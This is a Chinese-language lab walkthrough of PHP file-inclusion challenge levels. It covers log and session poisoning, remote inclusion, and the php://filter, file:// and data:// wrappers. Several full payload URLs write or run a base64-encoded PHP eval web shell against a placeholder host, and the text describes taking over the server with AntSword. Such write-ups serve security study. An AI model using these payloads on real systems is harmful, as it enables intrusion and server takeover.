
利用文件包含查看服务器敏感文件





尝试路径长度截断、问号绕过、点号截断、#绕过、空格绕过均未通过,绕过姿势只能采用00截断
尝试包含中间件日志


尝试通过本地文件包含获取shell


尝试使用bp工具repeater模块绕过url编码

上传之后查看中间件日志,发现仍旧被编码
尝试将base64编码后的shell语句传入中间件日志


尝试使用蚁剑连接,url为包含中间件日志文件的路径

解码器和编码器都勾选base64,选择默认也可以连接成功

测试连接,出现超时报错

将超时时间设置为30000ms,再次尝试


首先利用第一关获取session文件路径,因为本关没有文件包含函数可以利用,在上一关getshell之后可以查看第三关的源码来验证


获取到session文件路径为/var/lib/php/session
或者直接尝试apache服务中session文件的一般存储路径/tmp或/var/lib/php/session
由于单一的session内容可控和存储文件路径可预测漏洞无法进行getshell,所以这一关可以利用03.php将脏数据写入session文件中,然后利用第一关01.php中的文件包含漏洞包含带有脏数据的session文件来getshell
并且由于页面没有路径遍历漏洞,且该web应用整体上来说存在文件包含漏洞,所以无法通过session内容可控来直接获取敏感信息



使用蚁剑连接拿下目标服务器


漏洞利用条件:
1)allow_url_fopen = On (默认开启):允许通过URL打开远程文件
2)allow_url_include = On (默认关闭):允许通过include、require等函数包含远程文件(如HTTP/FTP协议)

如果用公网靶场做本关,那么就需要一个云服务器来帮助我们在目标服务器包含shell文件
如果在本地虚拟机如VMware搭建的虚拟机中复现漏洞,可以在本机开启phpstudy的Apache服务,借助本机的http服务将shell文件包含到虚拟机服务器中
1)写一个shell文件,并放到Apache服务的目录下,以便能够被访问到

2)进行远程文件包含

3)尝试用蚁剑进行连接拿下目标服务器


由于本关没有对包含的文件做过滤,所以包含php文件也可以,从而可以利用hackbar直接在浏览器执行shell



关卡中给出的示例是通过%23绕过,%23为“#”的URL编码,直接用#无法绕过

经过测试,发现以下方式也可以成功绕过
1)?绕过
payload:
2)%3f绕过,即对“?”进行URL编码
payload:

3)00截断绕过
payload:

同样按照上一关的方法可以getshell拿下目标服务器

漏洞利用条件:
1)存在文件操作函数如include、require、file_get_contents、readfile等,且参数用户可控
2)未严格过滤参数,可以使用filter伪协议
3)目标文件路径已知或可预测
虽然参数格式类似URL,但使用php://filter伪协议读取本地文件时,php配置文件不需要开启allow_url_fopen和allow_url_include
两种读取文件用法:
1) ?filename=php://filter/convert.base64-encode/resource=xxx.php
2) ?filename=php://filter/read=convert.base64-encode/resource=xxx.php
使用php://filter伪协议查看敏感文件

对内容进行base64解码

为什么进行base64编码:
1)避免PHP标签被解析执行
PHP文件包含时,若内容含有“<?php ?>”等标签,会被解释器执行,通过base64编码可以将原始内容变成纯文本,原始内容不会被当作代码执行
2)绕过“死亡exit”限制
当写入文件时遇到前缀“<?php exit; ?>”时,base64解码会跳过非法字符(如<、?、;、空格等),仅处理合法字符,通过补位(如添加a)使phpexit(7字符)变为8字符(4字节倍数),再解码移除exit
3)兼容性强
base64仅含64个可打印字符(A-Z、a-z、0-9、+/=),适合网络传输,且所有环境支持
总的来说就是为了解决特殊字符解析冲突和绕过执行限制,其他编码方式同样可行,需根据场景选择,一般建议使用兼容性最强的base64编码

使用php://filter伪协议同样可以写入shell
payload:
http://target.com/fi/06.php?filename=php://filter/write=convert.base64-decode/resource=fi/shell.php&str=PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg==

本关由于源码中没有file_put_contents()和fwrite()函数,所以无法直接使用php://filter伪协议写入shell。但没做过滤,并且已知满足远程文件包含的条件,所以基于本关的源码同样可以尝试进行远程文件包含

漏洞利用条件:
PHP版本≥5.2
allow_url_fopen: on
alow_url_include: on


传入php函数来执行


尝试getshell


使用蚁剑进行连接,拿下目标服务器



file:://伪协议可以用来进行本地文件包含,但无法进行远程文件包含
尝试利用file://伪协议来包含带有shell的本地文件,从而getshell
直接将明文shell语句写入UA头传入中间件日志失败,所以尝试将base64编码的shell写入日志文件


使用蚁剑进行连接,超时时间选择30000ms。URL地址为使用file://伪协议本地文件包含中间件日志的链接


从PHP 5.2.0起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码,就会执行任意代码
利用时需要满足:
PHP版本≥5.2
allow_url_fopen: on
alow_url_include: on
利用方法:
1)直接明文传输php代码:
http://target.com/fi/10.php?filename=data://text/plain,<?php phpinfo();?>
2)使用base64编码绕过过滤:
http://target.com/fi/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

由于data://伪协议可以直接执行传入的php代码,所以可以直接构造链接来getshell</span></p><p id="u961d6f2f" class="ne-p"><span class="ne-text">payload:http://target.com/fi/10.php?filename=data://text/plain;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg==


